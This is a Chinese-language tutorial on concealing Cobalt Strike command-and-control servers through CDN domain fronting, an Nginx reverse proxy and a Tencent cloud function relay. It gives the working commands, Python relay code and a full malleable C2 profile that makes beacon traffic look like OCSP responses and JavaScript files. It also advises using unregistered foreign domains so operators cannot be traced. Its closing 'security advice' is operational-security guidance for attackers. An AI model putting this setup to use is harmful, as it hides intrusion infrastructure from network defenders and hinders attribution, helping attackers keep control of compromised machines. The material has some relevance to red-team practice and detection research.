C2隐匿-云函数&域前置
字数 1138 2025-08-24 10:10:13
C2隐匿技术:云函数与域前置详解
1. 域前置技术基础
1.1 CDN基本概念
CDN(内容分发网络)是一种分布式缓存服务器系统,主要用于:
- 存放静态资源(图片、HTML、CSS、JS、视频等)
- 缩短响应时间
- 动态数据从源站获取
响应公式:响应结果 = CDN节点上的缓存静态资源 + 源站的动态数据
1.2 域前置实现步骤
1.2.1 域名准备
- 获取免备案域名(推荐国外注册商如porkbun.com)
- 原因:避免通过备案信息追踪到真实身份
1.2.2 CDN配置(以阿里云为例)
- 在CDN控制台配置域名
- 复制DNS记录值到域名管理
- 多地ping测试验证配置生效
- 配置回源设置(指定源站IP和端口)
1.2.3 Cobalt Strike监听器配置
- 配置监听器使用CDN域名
- 测试连接时显示的是CDN节点IP而非真实C2 IP
2. HTTPS增强隐匿
2.1 SSL证书配置
- 申请免费SSL证书(如阿里云)
- 下载证书文件:
- 公钥(.pem)
- 私钥(.key)
2.2 生成C2证书
openssl pkcs12 -export -in 公钥文件 -inkey 私钥文件 -out cs.store -name test_cert -passout pass:密码
keytool -importkeystore -deststorepass 密码 -destkeypass 密码 -destkeystore cscert.store -srckeystore cs.store -srcstoretype PKCS12 -srcstorepass 密码 -alias test_cert
2.3 启动Teamserver
./teamserver IP 密码
2.4 CDN节点添加证书
2.5 HTTP与HTTPS对比
- HTTP:Host头暴露域名
- HTTPS:完全加密,隐匿性更好
3. Nginx反向代理方案
3.1 配置方法
- CDN回源IP设为C2真实IP(端口80)
- Nginx配置:
server {
listen 80;
server_name 127.0.0.1;
location / {
proxy_pass http://127.0.0.1:9101;
}
}
3.2 Cobalt Strike配置
- 设置两个监听器:
- 常规监听器
- 域名监听器
3.3 缺点
- 流量设备可发现与真实C2 IP的连接
4. 云函数隐匿技术
4.1 腾讯云函数配置流程
4.1.1 函数代码
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://csip即端口' # 修改为真实C2地址
path=event['path']
headers=event['headers']
params=event['queryString']
if event['httpMethod'] == 'GET':
resp=requests.get(C2+path,headers=headers,verify=False,params=params)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False,params=params)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
4.1.2 触发器配置
- 设置为API网关触发
- 配置访问根目录触发
4.2 Cobalt Strike Profile配置
创建yun.txt文件内容:
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept"
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept"
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
4.3 启动Teamserver
./teamserver IP 密码 yun.txt
4.4 监听器配置
- 使用云函数提供的域名
- 上线IP显示为动态IP
- 支持命令回显
5. 技术对比
| 技术 | 隐匿性 | 实现难度 | 流量设备可检测性 | 备注 |
|---|---|---|---|---|
| HTTP域前置 | 中 | 易 | 可发现域名 | Host头暴露 |
| HTTPS域前置 | 高 | 中 | 难以发现 | 完全加密 |
| Nginx反向代理 | 低 | 易 | 可发现真实IP | 不推荐 |
| 云函数 | 高 | 难 | 难以发现 | 动态IP |
6. 安全建议
- 优先使用HTTPS+域前置或云函数方案
- 避免使用个人备案域名
- 定期更换域名和证书
- 监控流量模式是否异常
- 云函数方案需要自定义profile处理编解码